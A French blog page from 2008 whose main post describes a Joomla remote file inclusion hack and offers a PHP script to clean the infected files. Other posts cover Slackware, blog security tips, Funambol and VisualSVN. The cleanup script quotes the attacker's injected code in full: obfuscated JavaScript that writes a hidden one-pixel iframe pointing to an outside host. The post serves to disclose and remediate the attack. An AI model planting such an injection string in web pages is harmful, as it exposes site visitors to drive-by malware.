Faille de sécurité sur mon blog

Tags , , , ,
2 juin 2008 par Yohann CIURLIK

Durant une partie de la journée, mon blog est devenu inaccessible. La raison étant qu’un vilain petit hacker s’est amusé à pourrir mon site. En réalité, ce n’est pas une personne mais un script qui parcours le net à la recherche de potentielles failles de sécurité sur les sites.

virussafe

Mais que s’est-il passé ?

Même si mon blog fonctionne sous Wordpress pour des raisons de conforts, la racine de mon site est basé sur le CMS Joomla. Je n’utilise plus ou très peu ce dernier et cela faisait longtemps que je n’avais pas mis à jour sa version (passage de 1.0.12 à 1.0.15). J’ai donc découvert une faille d’inclusion de fichiers distant dans la variable mosConfig_absolute_path. Un exploit bien simple mais très ennuyeux car le hacker peut exécuter n’importe quel code PHP sur votre site.

Résultats

Le hacker en à profiter pour modifier tous mes fichiers PHP (1822 au total) pour y inclure un script qui s’exécute sur la machine cliente. Ne craignez rien, j’ai supprimé le code qui était bloqué par votre antivirus dans tous les cas.

J’ai donc utilisé un script maison pour remédier au problème et supprimer le code malicieux de mes fichiers sources. Le code source est le suivant (à utiliser à vos risques et périls sur votre serveur) :

  1. <?php
  2. //passer à true pour afficher les détails des fichiers
  3. $show_details = false;
  4. //passer à TRUE pour effectuer le nettoyage
  5. $process = true;
  6.  
  7. //ecrit dans le fichier n les données d
  8. function file_put_cont($n, $d) {
  9.     $f = @fopen($n, ‘w’);
  10.     if ($f === false) {
  11.         echo "Impossible d’ouvrir le fichier ".$n;
  12.     } else {
  13.         if (is_array($d)) $d = implode($d);
  14.         $bytes_written = fwrite($f, $d);
  15.         fclose($f);
  16.         return $bytes_written;
  17.     }
  18. }
  19.  
  20. //scan les répertoires récursivement
  21. //retourne un tableau contenant les fichiers php
  22. function searchdir ( $path = "." , $maxdepth = -1 , $mode = "FILES" , $d = 0 ){
  23.    if ( substr ( $path , strlen ( $path ) - 1 ) != ‘/’ ) { $path .= ‘/’ ; }    
  24.    $dirlist = array () ;
  25.    if ( $mode != "FILES" ) { $dirlist[] = $path ; }
  26.    if ( $handle = opendir ( $path ) ){
  27.        while ( false !== ( $file = readdir ( $handle ) ) ){
  28.            if ( $file != ‘.’ && $file != ‘..’ ){
  29.                $file = $path . $file ;
  30.                if ( ! is_dir ( $file ) ) {
  31.                                         if ( $mode != "DIRS" ) {
  32.                                                 $file_part = pathinfo($file);
  33.                                                 if($file_part[‘extension’] == "php" || $file_part[‘extension’] == "PHP") {
  34.                                                         $dirlist[] = $file ;
  35.                                                 }
  36.                                         }
  37.                            }
  38.                elseif ( $d >=0 && ($d < $maxdepth || $maxdepth < 0) ){
  39.                    $result = searchdir ( $file . ‘/’ , $maxdepth , $mode , $d + 1 ) ;
  40.                    $dirlist = array_merge ( $dirlist , $result ) ;
  41.                }
  42.        }
  43.        }
  44.        closedir ( $handle ) ;
  45.    }
  46.    if ( $d == 0 ) { natcasesort ( $dirlist ) ; }
  47.    return ( $dirlist ) ;
  48. }
  49.  
  50. //scan le tableau de fichier a la recherche de la chaine $token
  51. //retourne un tableau composé des fichiers qui contenait la chaine $token
  52. function searchstring($file_array , $token, $process) {
  53.         $dirlist = array () ;
  54.         for($i=0;$i<count($file_array);$i++){
  55.                 $cur_file = $file_array[$i];
  56.                 $cur_content_file = @file_get_contents($cur_file);
  57.                 if(stripos($cur_content_file,$token)!==false) {
  58.                         //ajout des fichiers au tableau
  59.                         $dirlist[] = $cur_file;
  60.                         //suppression de la chaine
  61.                         $new_content = str_replace($token, "", $cur_content_file);
  62.                         if($process == true){
  63.                                 $var = file_put_cont($cur_file, $new_content);
  64.                                 if($var != false) {
  65.                                         if($show_details) {
  66.                                                 echo $var." octets ecrits dans ".$cur_file;
  67.                                         }
  68.                                 }
  69.                         } else {
  70.                                 echo ‘File : ‘.$cur_file.‘<br/>’;
  71.                         }
  72.                 }
  73.         }
  74.         return ( $dirlist ) ;
  75. }
  76. echo ‘<h2>Nettoyage des fichiers PHP</h2>’;
  77. //scan les repertoires et recherche les fichiers php
  78. $arbo = searchdir(".");
  79. echo "Fichiers de l’arborescence : <br/>";
  80. if($show_details==true) {
  81.         for($i=0;$i<count($arbo);$i++){
  82.                 echo ‘File : ‘.$arbo[$i].‘<br/>’;
  83.         }
  84. } else {
  85.         echo count($arbo)." fichiers.<br/>";
  86. }
  87.  
  88. $token = ‘<?php echo \’<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\”ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\”ykfvj?3\”jgkijv?3\”htcogdqtfgt?2@"));</script>\’;?>’;
  89. echo "Chaine à rechercher : ".$token."<br/><br/>";
  90.  
  91. //scan les fichiers trouvés afin de trouver la chaine incréminée
  92. echo "Fichiers infectés : <br/>";
  93. $arbo = searchstring($arbo, $token, $process);
  94.  
  95. echo count($arbo)." fichiers modifiés !<br/>";
  96.  
  97. if($process == true)
  98.         echo "Opération terminée !<br/>";
  99. else echo "Mettre process à TRUE pour effectuer l’opération !<br/>";
  100. ?>

Le fichier liste les fichiers php de votre serveur, vérifie et supprime la chaine $token contenue des fichiers sources.
Conclusion

Mettez toujours à jour vos applications et effectuez des sauvegardes régulières, c’est vital !

Cet article vous a plu ? Abonnez-vous au blog par mail ou flux RSS : vous recevrez automatiquement les nouveaux billets !

Slackware 12.1 dans les bacs

Tags , ,
10 mai 2008 par Yohann CIURLIK

La Slackware 12.1 est sortie il y à une semaine. La distribution Linux réputée pour sa fiabilité, sa simplicité et sa robustesse fait peaux neuve.

La distribution supporte maintenant le kernel 2.6, un meilleur support du RAID, LVM et cryptsetup (Kezako ?!). Il est dorénavant possible d’effectuer une installer via FTP ou HTTP et pas simplement via NFS.

Au niveau de l’interface graphique (sisi ça existe sous Slackware), on à le droit à Xfce 4.4.2, un bureau très léger mais efficace.

slackware

Alors à vos modems et go ! Enfin bon courage pour l’installation, ce n’est pas une distribution OutOfTheBox ou DesktopFriendly comme Ubuntu ou Mandriva.

Cet article vous a plu ? Abonnez-vous au blog par mail ou flux RSS : vous recevrez automatiquement les nouveaux billets !

La sécurité des blogs

Tags , , , ,
1 mai 2008 par Yohann CIURLIK

La sécurité de votre blog est une chose importante. Il est important de garantir un niveau de sécurité minimal à votre installation (Serveur web, hébergement, Wordpres, …). Cela évite de se faire pirater ou, bien plus grave encore, perdre toutes vos données. Gardez toujours à jour votre version de votre Wordpress.

Pour cela, aucun remède miracle si ce n’est de toujours conserver des sauvegardes de votre blog à l’abri sur votre disque dur. Et surtout , n’oubliez pas la base de données, l’un des éléments vitaux de votre blog. Il existe pour cela des plugins comme Wordpress Database Backup : bien pratique.

Même si vous vous croyez à l’abri d’attaques par d’autres internautes pensez à vérifier de temps à autre l’arborescence de votre FTP. Cela évite d’avoir quelques surprises comme celle-ci…

poker_hack

D’où viennent ces fichiers HTML contenant des liens publicitaires pour des jeux de Poker (ou cartes) en ligne ? Aucune idée, sûrement d’un plugin ayant une faille…

Tout est-il que si il est possible d’ajouter un répertoire comme cela, il est également possible de supprimer la totalité du contenu de l’hébergement et la c’est la fin !

Des blogs spécialisés dans la sécurité Wordpress tels que Blogsecurity.net vous permettent de suivre les différentes failles et même de scanner votre blog pour évaluer le degrés de sécurité. Il publie régulièrement des livres blancs sur la sécurité de Wordpress. Voir la version 1.2 datant d’Avril 2008.

blogsecurity

Des blogs parlant de sécurité, Il y en à d’autres. Comment suivre toute l’actualité de la sécurisation des blogs ? On pourrait alors avoir l’idée d’un plugin qui, une fois installé, vérifierait régulièrement votre installation et vous préviendrait des potentielles failles de sécurité. Il pourrait même prendre des dispositions particulières pour palier aux problèmes les plus important.

Il existe milles et une façon de palier aux failles de sécurité existantes à ce jour, à cet instant précis mais pas dans la minute qui suit. Il y aura toujours des sites et blogs piratés. Une seule solution, une précaution d’usage, la sauvegarde des données.

Cet article vous a plu ? Abonnez-vous au blog par mail ou flux RSS : vous recevrez automatiquement les nouveaux billets !

Pusher vos emails sur votre smartphone ou iPhone

Tags , , , , ,
4 mars 2008 par Yohann CIURLIK

C’est en cherchant un serveur de mail compatible SyncML et OTA (Over-The-Air) que j’ai trouvé le serveur de mail open source Funambol. Ce dernier offre des fonctionnalités intéressantes en ce qui concerne la synchronisation/sauvegardes des emails via internet. C’est par l’intermédiaire de funambol que j’ai découvert le site myFunambol qui permet, comme vous pourrez le constater sur le schéma ci-dessous, une synchronisation compléte de vos :

  • Messages,
  • Contacts,
  • Rendez-vous.

myFunambul

Le service le plus intéressant reste tout de même le push mail qui permet d’envoyer sur votre téléphone, tous les emails de votre boite email favorite (pour moi gmail). Ce type de service est intéressant dans le sens où les messages sont directement envoyés sur votre mobile via votre connexion EDGE/HSPDA/GPRS. Il suffit de posséder un forfait wap illimité.

Le service fonctionne avec les smartphones, pocket pc, Outlook et même iPhone simplement en installant un petit plugin. C’est ça la magie des web services et d’un protocole d’échange standardisé (SyncML).

Cet article vous a plu ? Abonnez-vous au blog par mail ou flux RSS : vous recevrez automatiquement les nouveaux billets !

Installe rapide de serveur SVN sous Windows

Tags , , ,
28 janvier 2008 par Yohann CIURLIK

Si vous avez besoin de mettre en place un SVN rapidement pour un de vos projets, j’ai la solution ultime. VisualSVN server vous permet de disposer rapidement d’un serveur multi-utilisateurs, multi-groupes et multi-répertoires sous Windows.

VisualSVN Serveur

VisualSVN server prend l’apparence d’un composant Windows et s’intègre parfaitement à l’environnement. Il fonctionne en tant que service sur la machine et s’installe rapidement.

La navigation dans le repository se fait via le protocole https.

Cet article vous a plu ? Abonnez-vous au blog par mail ou flux RSS : vous recevrez automatiquement les nouveaux billets !


sideBarQA